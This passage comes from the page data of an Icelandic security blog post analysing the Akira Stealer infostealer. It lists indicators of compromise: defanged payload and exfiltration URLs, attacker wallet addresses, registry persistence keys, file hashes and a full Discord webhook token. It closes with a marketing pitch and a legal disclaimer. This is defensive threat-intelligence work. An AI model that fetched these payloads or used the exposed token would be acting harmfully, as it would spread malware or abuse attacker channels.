(Alt)",[1438,12129,12130],{},[578,12131,12132],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1438,12134,12135],{},"Annar endapunktur fyrir vanity-tilkynningar",[1423,12137,4711,12138,4711,12141,4711,12146,4706],{},[1438,12139,12140],{},"Exodus-innspýting",[1438,12142,12143],{},[578,12144,12145],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1438,12147,12148,12149],{},"Electron-eining forritsins ",[578,12150,4611],{},[1423,12152,4711,12153,4711,12156,4711,12161,4706],{},[1438,12154,12155],{},"Atomic-innspýting",[1438,12157,12158],{},[578,12159,12160],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1438,12162,12163,12164],{},"Electron-eining ",[578,12165,12166],{},"AtomicWallet",[1423,12168,4711,12169,4711,12172,4711,12177,4706],{},[1438,12170,12171],{},"Niðurhal Updater",[1438,12173,12174],{},[578,12175,12176],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1438,12178,12179],{},"Keyranleg dropper-skrá fyrir persistence",[1423,12181,4711,12182,4711,12185,4711,12190,4706],{},[1438,12183,12184],{},"Gofile API-listi",[1438,12186,12187],{},[578,12188,12189],{},"https[:]//api.gofile[.]io/servers",[1438,12191,12192],{},"Sækir besta upphalsserver GoFile",[1423,12194,4711,12195,4711,12198,4711,12203,4706],{},[1438,12196,12197],{},"Athugun Discord-tokens",[1438,12199,12200],{},[578,12201,12202],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1438,12204,12205],{},"Staðfestir stolið Discord-token",[1423,12207,4711,12208,4711,12211,4711,12216,4706],{},[1438,12209,12210],{},"Greiðsluupplýsingar Discord",[1438,12212,12213],{},[578,12214,12215],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1438,12217,12218],{},"Sækir greiðsluaðferðir",[1423,12220,4711,12221,4711,12224,4711,12229,4706],{},[1438,12222,12223],{},"Replay á Google-OAuth",[1438,12225,12226],{},[578,12227,12228],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1438,12230,12231],{},"Endurspilar stolin Google-setutokens",[1423,12233,4711,12234,4711,12237,4711,12242,4706],{},[1438,12235,12236],{},"IP-athugun (hosting)",[1438,12238,12239],{},[578,12240,12241],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1438,12243,12244],{},"Detection á hýsingarumhverfi",[1423,12246,4711,12247,4711,12250,4711,12255,4706],{},[1438,12248,12249],{},"IP-uppflettingar (geo)",[1438,12251,12252],{},[578,12253,12254],{},"http[:]//ip-api[.]com/json/{ip}",[1438,12256,12257],{},"Staðsetning út frá IP",[1423,12259,4711,12260,4711,12263,4711,12268,4706],{},[1438,12261,12262],{},"Sókn opinbers IP",[1438,12264,12265],{},[578,12266,12267],{},"https[:]//api[.]ipify[.]org",[1438,12269,12270],{},"Sækir ytri IP-tölu",[1423,12272,4711,12273,4711,12276,4711,12281,4706],{},[1438,12274,12275],{},"Upphal á File.io",[1438,12277,12278],{},[578,12279,12280],{},"https[:]//file[.]io/",[1438,12282,12283],{},"Önnur exfiltration-rás",[1423,12285,4711,12286,4711,12289,4711,12294,4706],{},[1438,12287,12288],{},"Upphal á Oshi.at",[1438,12290,12291],{},[578,12292,12293],{},"http[:]//oshi[.]at/",[1438,12295,12296],{},"Þriðja exfiltration-rás",[1423,12298,4711,12299,4711,12302,4711,12308,4706],{},[1438,12300,12301],{},"JS-dropper, aðalleið",[1438,12303,12304],{},[719,12305,12307],{"href":12306,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1438,12309,12310],{},"Fjartengd tilvísun á hið eiginlega ZIP-URL",[1423,12312,4711,12313,4711,12316,4711,12321,4706],{},[1438,12314,12315],{},"JS-dropper, varaleið 1",[1438,12317,12318],{},[719,12319,12320],{"href":3626,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1438,12322,12323],{},"Annað ZIP með payload",[1423,12325,4711,12326,4711,12329,4711,12334,4706],{},[1438,12327,12328],{},"JS-dropper, varaleið 2",[1438,12330,12331],{},[719,12332,12333],{"href":3631,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1438,12335,12336],{},"Þriðja ZIP með payload til vara",[853,12338],{"className":12339},[856,857],[740,12341,12343],{"id":12342},"_2-heimilisföng-kryptógjaldmiðla","2. Heimilisföng kryptógjaldmiðla",[525,12345,746],{},[1417,12347,4706,12349],{"className":12348,"style":11119},[11118],[1433,12350,12351,4706,12359,4706,12369,4706,12379,4706,12389,4706,12398,4706,12408,4706,12418,4706,12428,4706,12438,4706,12448],{},[1423,12352,4711,12353,4711,12356,4706],{},[1426,12354,12355],{"style":11130},"Gjaldmiðill",[1426,12357,12358],{},"Heimilisfang",[1423,12360,4711,12361,4711,12364,4706],{},[1438,12362,12363],{},"BTC",[1438,12365,12366],{},[578,12367,12368],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1423,12370,4711,12371,4711,12374,4706],{},[1438,12372,12373],{},"ETH",[1438,12375,12376],{},[578,12377,12378],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1423,12380,4711,12381,4711,12384,4706],{},[1438,12382,12383],{},"DOGE",[1438,12385,12386],{},[578,12387,12388],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1423,12390,4711,12391,4711,12394,4706],{},[1438,12392,12393],{},"LTC",[1438,12395,12396],{},[578,12397,11161],{},[1423,12399,4711,12400,4711,12403,4706],{},[1438,12401,12402],{},"XMR",[1438,12404,12405],{},[578,12406,12407],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1423,12409,4711,12410,4711,12413,4706],{},[1438,12411,12412],{},"BCH",[1438,12414,12415],{},[578,12416,12417],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1423,12419,4711,12420,4711,12423,4706],{},[1438,12421,12422],{},"DASH",[1438,12424,12425],{},[578,12426,12427],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1423,12429,4711,12430,4711,12433,4706],{},[1438,12431,12432],{},"TRX",[1438,12434,12435],{},[578,12436,12437],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1423,12439,4711,12440,4711,12443,4706],{},[1438,12441,12442],{},"XRP",[1438,12444,12445],{},[578,12446,12447],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1423,12449,4711,12450,4711,12453,4706],{},[1438,12451,12452],{},"XLM",[1438,12454,12455],{},[578,12456,12457],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[853,12459],{"className":12460},[856,857],[740,12462,12464],{"id":12463},"_3-registry-lyklar-og-slóðir","3. Registry-lyklar og slóðir",[525,12466,746],{},[1417,12468,4706,12470],{"className":12469,"style":11119},[11118],[1433,12471,12472,4706,12479,4706,12489,4706,12499,4706,12512],{},[1423,12473,4711,12474,4711,12477,4706],{},[1426,12475,1681],{"style":12476},"text-align: left; width: 60%;",[1426,12478,1210],{},[1423,12480,4711,12481,4711,12486,4706],{},[1438,12482,12483],{},[578,12484,12485],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1438,12487,12488],{},"Athugar signature sýndar-GPU-drivera",[1423,12490,4711,12491,4711,12496,4706],{},[1438,12492,12493],{},[578,12494,12495],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1438,12497,12498],{},"Athugar heiti veitanda sýndar-GPU",[1423,12500,4711,12501,4711,12509,4706],{},[1438,12502,12503,12506,12507,1138],{},[578,12504,12505],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (gildið ",[567,12508,1692],{},[1438,12510,12511],{},"Persistence í gegnum Run-lykil (Updater.exe)",[1423,12513,4711,12514,4711,12518,4706],{},[1438,12515,12516],{},[578,12517,1700],{},[1438,12519,12520],{},"Keyranleg skrá fyrir persistence",[853,12522],{"className":12523},[856,857],[740,12525,12527],{"id":12526},"_5-skrár-og-hash","5. Skrár og hash",[525,12529,746],{},[1417,12531,4706,12533],{"className":12532,"style":11119},[11118],[1433,12534,12535,4706,12547,4706,12559,4706,12571,4706,12584,4706,12596,4706,12608,4706,12620,4706,12632,4706,12645,4706,12657,4706,12670,4706,12682],{},[1423,12536,4711,12537,4711,12540,4711,12544,4706],{},[1426,12538,12539],{"style":12050},"Skráarheiti",[1426,12541,12543],{"style":12542},"text-align: left; width: 62%;","SHA256",[1426,12545,12546],{},"Stærð (bæti)",[1423,12548,4711,12549,4711,12551,4711,12556,4706],{},[1438,12550,1854],{},[1438,12552,12553],{},[578,12554,12555],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1438,12557,12558],{},"63936274",[1423,12560,4711,12561,4711,12563,4711,12568,4706],{},[1438,12562,605],{},[1438,12564,12565],{},[578,12566,12567],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1438,12569,12570],{},"162036224",[1423,12572,4711,12573,4711,12576,4711,12581,4706],{},[1438,12574,12575],{},"jscrypter.js",[1438,12577,12578],{},[578,12579,12580],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1438,12582,12583],{},"1429",[1423,12585,4711,12586,4711,12588,4711,12593,4706],{},[1438,12587,2842],{},[1438,12589,12590],{},[578,12591,12592],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1438,12594,12595],{},"30138",[1423,12597,4711,12598,4711,12600,4711,12605,4706],{},[1438,12599,2839],{},[1438,12601,12602],{},[578,12603,12604],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1438,12606,12607],{},"7155",[1423,12609,4711,12610,4711,12612,4711,12617,4706],{},[1438,12611,2767],{},[1438,12613,12614],{},[578,12615,12616],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1438,12618,12619],{},"211",[1423,12621,4711,12622,4711,12624,4711,12629,4706],{},[1438,12623,609],{},[1438,12625,12626],{},[578,12627,12628],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1438,12630,12631],{},"205210",[1423,12633,4711,12634,4711,12637,4711,12642,4706],{},[1438,12635,12636],{},"exodus.asar",[1438,12638,12639],{},[578,12640,12641],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1438,12643,12644],{},"132486332",[1423,12646,4711,12647,4711,12649,4711,12654,4706],{},[1438,12648,1912],{},[1438,12650,12651],{},[578,12652,12653],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1438,12655,12656],{},"28454",[1423,12658,4711,12659,4711,12662,4711,12667,4706],{},[1438,12660,12661],{},"download.dat",[1438,12663,12664],{},[578,12665,12666],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1438,12668,12669],{},"21142",[1423,12671,4711,12672,4711,12674,4711,12679,4706],{},[1438,12673,2900],{},[1438,12675,12676],{},[578,12677,12678],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1438,12680,12681],{},"32375391",[1423,12683,4711,12684,4711,12686,4711,12691,4706],{},[1438,12685,601],{},[1438,12687,12688],{},[578,12689,12690],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1438,12692,12693],{},"37652937",[853,12695],{"className":12696},[856,857],[740,12698,12700],{"id":12699},"_5-auðkenni-discord-og-telegram","5. Auðkenni Discord og Telegram",[525,12702,746],{},[1417,12704,4706,12706],{"className":12705,"style":11119},[11118],[1433,12707,12708,4706,12714,4706,12724,4706,12734],{},[1423,12709,4711,12710,4711,12712,4706],{},[1426,12711,12051],{"style":6322},[1426,12713,1431],{},[1423,12715,4711,12716,4711,12719,4706],{},[1438,12717,12718],{},"Discord webhook-auðkenni",[1438,12720,12721],{},[578,12722,12723],{},"1226766972675428372",[1423,12725,4711,12726,4711,12729,4706],{},[1438,12727,12728],{},"Discord webhook-token",[1438,12730,12731],{},[578,12732,12733],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1423,12735,4711,12736,4711,12739,4706],{},[1438,12737,12738],{},"Telegram-auðkenni",[1438,12740,12741],{},[578,12742,12743],{},"5035121855",[853,12745],{"className":12746},[856,857],[556,12748,12750],{"id":12749},"_14-hugleiðingar-um-akira-stealer-atvikið-styrktu-vörnina-þína-með-glueckkanja-csoc","14. Hugleiðingar um Akira Stealer-atvikið: styrktu vörnina þína með glueckkanja CSOC",[525,12752,562],{},[525,12754,12755],{},"Í þessari bloggfærslu höfum við kannað hversu fágað Akira Infostealer er, háþróuð netógn sem einkennist af markvissum þjófnaði á credentials, hljóðlátri exfiltration gagna og þrálátum aðferðum til að komast hjá hefðbundnum vörnum. Að skilja hvernig þetta malware starfar, hvaða áhættu það skapar og hvaða veikleika það nýtir er forsenda þess að byggja upp sterka cybersecurity-stefnu.",[525,12757,12758],{},"Akira Infostealer beinist sérstaklega að viðkvæmum gögnum eins og innskráningar-credentials, browser-setum, kryptóveskjum, skilaboðaþjónustum og skrám einstaklinga eða fyrirtækja. Útreiknaðar og nákvæmar aðferðir þess kalla á meira en venjulegar öryggisráðstafanir, þær kalla á samfellda vöktun, ítarlega forensic-greiningu og fyrirbyggjandi threat intelligence.",[525,12760,12761],{},"Hjá glueckkanja CSOC nýtum við djúpa tæknilega sérþekkingu okkar og háþróaða greiningargetu til að ganga lengra en einföld detection. Sérhæfða teymið okkar vaktar ógnir samfellt í rauntíma frá okkar eigin CSOC-serverum, sem gerir kleift að greina samstundis, rannsaka til hlítar og gera ógnir eins og Akira Infostealer óvirkar með áhrifaríkum hætti.",[525,12763,12764],{},"En vinnan okkar stöðvast ekki við incident response. Hvert atvik sem greinist auðgar þekkingargrunn okkar, styrkir öryggisstöðu okkar og tryggir að við séum áfram nokkrum skrefum framar komandi ógnum. Með glueckkanja CSOC fær þú meira en vörn, þú fær aðlögunarhæfan öryggisaðila sem er staðráðinn í að styðja þol þitt til langs tíma.",[525,12766,12767],{},"Stígðu næsta skref í því að tryggja stafrænar eignir fyrirtækisins þíns.",[525,12769,12770],{},"Hafðu samband við cybersecurity-sérfræðinga glueckkanja í dag, og tryggjum framtíð þína saman með fyrirbyggjandi hætti.",[525,12772,12773],{},[567,12774,12775],{},"Styrktu vörnina þína með glueckkanja CSOC.",[556,12777,12779],{"id":12778},"_15-öryggis-og-lagalegur-fyrirvari-notkun-á-raunverulegum-malware-kóða","15. Öryggis- og lagalegur fyrirvari – notkun á raunverulegum malware-kóða",[525,12781,562],{},[525,12783,12784],{},"Þessi útgáfa inniheldur ítarlega tæknilega innsýn, þar á meðal kóðabrot og hegðunargreiningar sem leiddar eru af raunverulegum illgjörnum hugbúnaði sem fannst við incident response og forensic-rannsóknir. Tilgangurinn með því að deila þessum upplýsingum er eingöngu fræðslulegur, þeim er ætlað að hjálpa fagfólki í vörnum að skilja, greina og bregðast við raunverulegum ógnum með áhrifaríkari hætti. Við gefum þetta út í góðri trú og með það í huga að leggja breiðara öryggissamfélagi lið.",[525,12786,12787],{},"Rétt er að hafa í huga að hlutar kóðans sem hér fylgir koma úr verkfærasettum ógnaraðila og malware-sýnum sem eru í umferð. Þessi brot eru ekki hugverk okkar og þau skal hvorki telja örugg, sótthreinsuð né á annan hátt \"harmless\". Við ráðum eindregið frá því að endurgera eða nota slíkan kóða í rekstri. Lesendur verða að skilja að þótt þetta efni þjóni rannsóknar- og vitundarhlutverki fylgir því í sjálfu sér áhætta sem ekki skal vanmeta.",[525,12789,12790],{},"Aðeins þjálfað fagfólk sem starfar í umhverfum með lagalegt umboð, svo sem faggilt security-teymi, SOC-einingar, fræðimenn eða malware-tilraunastofur, ætti að fást við þær aðferðir eða þann kóða sem hér er lýst. Allar tilraunir verða að vera bundnar við einangruð kerfi utan rekstrar og fylgja gildandi lögum, innri stefnum og siðferðilegum viðmiðum.",[525,12792,12793],{},"Við bjóðum engan stuðning og enga staðfestingu á neinum endurgerðum kóða eða neinni endurgerðri hegðun. Engin trygging er fyrir réttmæti, mikilvægi eða heilleika. Enn frekar vísum við berum orðum á bug allri notkun þessa efnis í árásarskyni, í óheimilu red teaming, við þróun malware í viðskiptaskyni eða í adversarial testing utan lagalega skilgreinds umfangs. Öll misnotkun getur haft lagalegar afleiðingar. glueckkanja AG afsalar sér allri ábyrgð á beinum eða óbeinum skaða sem hlýst af notkun eða misskilningi á þessu efni.",[525,12795,12796],{},"Með því að halda áfram að lesa eða vitna í þetta efni viðurkennir þú framangreint og samþykkir að misnota ekki, endurgera ekki og beita ekki neinum hluta þess í ólöglegu eða ósiðlegu samhengi. Sértu í vafa skaltu ráðfæra þig við lögfræði-, compliance- eða gagnaverndarsvið þitt áður en þú fæst við greiningu á lifandi kóða eða sambærilegt tæknilegt efni.",[525,12798,12799],{},"Þessi útgáfa er látin í té \"as is\", án ábyrgðar, stuðnings eða skaðabótaskyldu.",[12801,12802,12803],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":529,"searchDepth":530,"depth":530,"links":12805},[12806,12807,12808,12809,12820,12821,12822,12823,12824,12825,12826,12827,12829,12830,12831,12832,12833,12834,12835,12836,12837,12840,12848,12849,12850,12856,12874,12892,12893,12894,12895,12903,12910,12917,12926,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942,12943,12944,12945,12946,12947,12948],{"id":742,"depth":530,"text":743},{"id":792,"depth":530,"text":793},{"id":813,"depth":530,"text":814},{"id":869,"depth":530,"text":870,"children":12810},[12811,12812,12814,12816,12818],{"id":890,"depth":2096,"text":891},{"id":942,"depth":2096,"text":12813},"2.1.2 Updater.exe – upphaflegur loader",{"id":1048,"depth":2096,"text":12815},"2.1.3 main.exe – obfuskerað ílát fyrir NodeJS-payload",{"id":1167,"depth":2096,"text":12817},"2.1.4 cmd.exe og PowerShell-relay",{"id":1278,"depth":2096,"text":12819},"2.1.5 python.exe með astor.py",{"id":1412,"depth":530,"text":1413},{"id":1501,"depth":530,"text":1502},{"id":1579,"depth":530,"text":1580},{"id":1665,"depth":530,"text":1666},{"id":1735,"depth":530,"text":1736},{"id":1815,"depth":530,"text":1816},{"id":1924,"depth":530,"text":1925},{"id":2041,"depth":530,"text":12828},"4.2 Aðferð til að komast hjá AMSI (klasi: gofor4msi)",{"id":2226,"depth":530,"text":2227},{"id":2346,"depth":530,"text":2347},{"id":2446,"depth":530,"text":2447},{"id":2542,"depth":530,"text":2543},{"id":2617,"depth":530,"text":2618},{"id":2687,"depth":530,"text":2688},{"id":2746,"depth":530,"text":2747},{"id":2886,"depth":530,"text":2887},{"id":2947,"depth":530,"text":2948,"children":12838},[12839],{"id":2959,"depth":2096,"text":2960},{"id":3313,"depth":530,"text":3314,"children":12841},[12842,12843,12844,12845,12846,12847],{"id":3322,"depth":2096,"text":3323},{"id":3436,"depth":2096,"text":3437},{"id":3634,"depth":2096,"text":3635},{"id":3925,"depth":2096,"text":3926},{"id":4000,"depth":2096,"text":4001},{"id":4162,"depth":2096,"text":4163},{"id":4396,"depth":530,"text":4397},{"id":4442,"depth":530,"text":4443},{"id":4454,"depth":530,"text":4455,"children":12851},[12852,12853,12854,12855],{"id":4460,"depth":2096,"text":4461},{"id":4504,"depth":2096,"text":4505},{"id":4564,"depth":2096,"text":4565},{"id":4599,"depth":2096,"text":4600},{"id":4636,"depth":530,"text":12857,"children":12858},"7.3 Vörn gegn greiningu og evasion (klasi: VmProtect)",[12859,12860,12861,12862,12864,12865,12866,12867,12868,12869,12870,12871,12872,12873],{"id":4645,"depth":2096,"text":4646},{"id":4661,"depth":2096,"text":4662},{"id":4700,"depth":2096,"text":4701},{"id":4788,"depth":2096,"text":12863},"7.3.4 Arkitektúr VmProtect",{"id":5139,"depth":2096,"text":5140},{"id":5205,"depth":2096,"text":5206},{"id":5274,"depth":2096,"text":5275},{"id":5338,"depth":2096,"text":5339},{"id":5406,"depth":2096,"text":5407},{"id":5463,"depth":2096,"text":5464},{"id":5561,"depth":2096,"text":5562},{"id":5631,"depth":2096,"text":5632},{"id":6087,"depth":2096,"text":6088},{"id":6133,"depth":2096,"text":6134},{"id":6147,"depth":530,"text":6148,"children":12875},[12876,12877,12879,12881,12883,12885,12887,12889,12891],{"id":6306,"depth":2096,"text":6307},{"id":6414,"depth":2096,"text":12878},"7.4.2 Lykilorðadumpari (Chromium.GetPasswords)",{"id":6537,"depth":2096,"text":12880},"7.4.3 Kreditkortadumpari (Chromium.GetCreditCards)",{"id":6618,"depth":2096,"text":12882},"7.4.4 Cookie-dumpari (Chromium.GetCookies)",{"id":6697,"depth":2096,"text":12884},"7.4.5 Dumpari Google-seta (Chromium.dump_google_sessions)",{"id":6822,"depth":2096,"text":12886},"7.4.6 Ferilskrárdumpari (Chromium.GetHistory)",{"id":6892,"depth":2096,"text":12888},"7.4.7 Dumpari sjálfvirkra útfyllinga (Chromium.GetAutofills)",{"id":6955,"depth":2096,"text":12890},"7.4.8 Firefox-prófílagrabbari (GeckoDriver og grabFirefoxProfiles)",{"id":7032,"depth":2096,"text":7033},{"id":7071,"depth":530,"text":7072},{"id":7403,"depth":530,"text":7404},{"id":7517,"depth":530,"text":7518},{"id":7845,"depth":530,"text":7846,"children":12896},[12897,12898,12899,12900,12901,12902],{"id":7854,"depth":2096,"text":7855},{"id":8006,"depth":2096,"text":8007},{"id":8112,"depth":2096,"text":8113},{"id":8237,"depth":2096,"text":8238},{"id":8304,"depth":2096,"text":8305},{"id":8429,"depth":2096,"text":8430},{"id":8534,"depth":530,"text":12904,"children":12905},"7.9. Þjófnaður Discord- og Telegram-tokens (klasi: Discord)",[12906,12907,12908,12909],{"id":8547,"depth":2096,"text":8548},{"id":8678,"depth":2096,"text":8679},{"id":8923,"depth":2096,"text":8924},{"id":9005,"depth":2096,"text":9006},{"id":9074,"depth":530,"text":9075,"children":12911},[12912,12914,12915,12916],{"id":9087,"depth":2096,"text":12913},"7.10.1 Frumstilling Data-klasans",{"id":9184,"depth":2096,"text":9185},{"id":9304,"depth":2096,"text":9305},{"id":9369,"depth":2096,"text":9370},{"id":9446,"depth":530,"text":12918,"children":12919},"7.11 Skráagrabbari (klasi: Utils.steal_files)",[12920,12921,12922,12923,12924,12925],{"id":9458,"depth":2096,"text":9459},{"id":9529,"depth":2096,"text":9530},{"id":9591,"depth":2096,"text":9592},{"id":9624,"depth":2096,"text":9625},{"id":9653,"depth":2096,"text":9654},{"id":9831,"depth":2096,"text":9832},{"id":9941,"depth":530,"text":9942,"children":12927},[12928,12929,12930,12931,12932],{"id":9950,"depth":2096,"text":9951},{"id":9965,"depth":2096,"text":9966},{"id":10044,"depth":2096,"text":10045},{"id":10193,"depth":2096,"text":10194},{"id":10425,"depth":2096,"text":10426},{"id":10777,"depth":530,"text":10778},{"id":10808,"depth":530,"text":10809},{"id":10932,"depth":530,"text":10933},{"id":11044,"depth":530,"text":11045},{"id":11095,"depth":530,"text":11096},{"id":11274,"depth":530,"text":11275},{"id":11324,"depth":530,"text":11325},{"id":11368,"depth":530,"text":11369},{"id":11408,"depth":530,"text":11409},{"id":11497,"depth":530,"text":11498},{"id":11514,"depth":530,"text":11515},{"id":12037,"depth":530,"text":12038},{"id":12342,"depth":530,"text":12343},{"id":12463,"depth":530,"text":12464},{"id":12526,"depth":530,"text":12527},{"id":12699,"depth":530,"text":12700},"post",{"lang":12951,"seoTitle":12952,"titleClass":12953,"date":12954,"categories":12955,"blogtitlepic":12956,"socialimg":12957,"customExcerpt":12958,"keywords":12959,"maxContent":325,"asideNav":12960,"footer":13009,"contactInContent":13010,"published":325},"is","Akira Stealer: tæknileg greining á einingaskiptu malware sem stelur upplýsingum","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Það byrjaði með einu Defender-alerti í Microsoft 365. Ekkert malware, engar signature, engin panik. Aðeins hvísl í kliðnum. Það sem við afhjúpuðum voru mánuðir af þjófnaði á credentials, skurðnákvæmum, hljóðlátum og nánast ósýnilegum. Svona breytti CSOC okkar hljóðlátu merki í fullskala viðbrögð. Og skilaði viðskiptavini okkar stjórninni áður en hann vissi að hún væri farin.","Microsoft 365 Security, detection á þjófnaði credentials, incident response, Microsoft Defender, Managed Security Services, cloud security, threat detection, greining netárása, CSOC, Advanced Threat Protection",{"menuItems":12961},[12962,12964,12967,12970,12973,12976,12979,12982,12985,12988,12991,12994,12997,13000,13003,13006],{"href":12963,"text":559},"#formáli",{"href":12965,"text":12966},"#_1-upphaflegt-atvik-og-samantekt-á-triage","Upphaflegt atvik og samantekt á triage",{"href":12968,"text":12969},"#_2-arkitektúr-malware-sins-og-yfirlit-yfir-keyrslukeðjuna","Arkitektúr malware og keyrslukeðja",{"href":12971,"text":12972},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12974,"text":12975},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12977,"text":12978},"#_5-deep-dive-mainexe-electron-byggður-malware-loader","Deep Dive: main.exe",{"href":12980,"text":12981},"#_6-deep-dive-inputjs-dulkóðaði-javascript-payload-loaderinn","Deep Dive: input.js",{"href":12983,"text":12984},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12986,"text":12987},"#_8-hringlaga-keyrslukeðja-sjálfslæknandi-lykkja","Hringlaga keyrslukeðja",{"href":12989,"text":12990},"#_9-rakning-og-greining-á-blockchain","Rakning og greining á blockchain",{"href":12992,"text":12993},"#_10-innan-akira-vistkerfisins-netbrotainnviðir-í-viðskiptaskyni","Innan Akira-vistkerfisins",{"href":12995,"text":12996},"#_11-akira-stealer-quickcheck-skrár-sem-urðu-fyrir-árásinni","Akira Stealer QuickCheck: skrár sem urðu fyrir árásinni",{"href":12998,"text":12999},"#_12-umfram-viðbrögð-hvernig-glueckkanja-csoc-breytir-atvikum-í-þekkingu","Hvernig glueckkanja CSOC breytir atvikum í þekkingu",{"href":13001,"text":13002},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":13004,"text":13005},"#_14-hugleiðingar-um-akira-stealer-atvikið-styrktu-vörnina-þína-með-glueckkanja-csoc","Hugleiðingar um Akira Stealer-atvikið",{"href":13007,"text":13008},"#_15-öryggis-og-lagalegur-fyrirvari-notkun-á-raunverulegum-malware-kóða","Öryggis- og lagalegur fyrirvari",{"noMargin":325},{"quote":484,"infos":13011},{"bgColor":13012,"color":13013,"boxBgColor":13014,"boxColor":13015,"headline":13016,"subline":13017,"level":740,"textStyling":13018,"flush":13019,"person":13020,"form":13032},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Hafðu samband núna","Sem leiðandi Microsoft Security MSSP verndum við fyrirtæki gegn netógnum hvern dag. Tölum saman og styrkjum netvarnir þínar í sameiningu.","text-light","justify-content-end",{"image":13021,"cloudinary":325,"alt":13022,"name":13022,"detailsHeader":13023,"details":13024},"/people/people-pam-team.png","Project & Account Management","Við hlökkum til að heyra frá þér.",[13025,13029],{"text":492,"href":13026,"details":13027,"icon":13028},"tel:+49 69 4005520","Hringdu 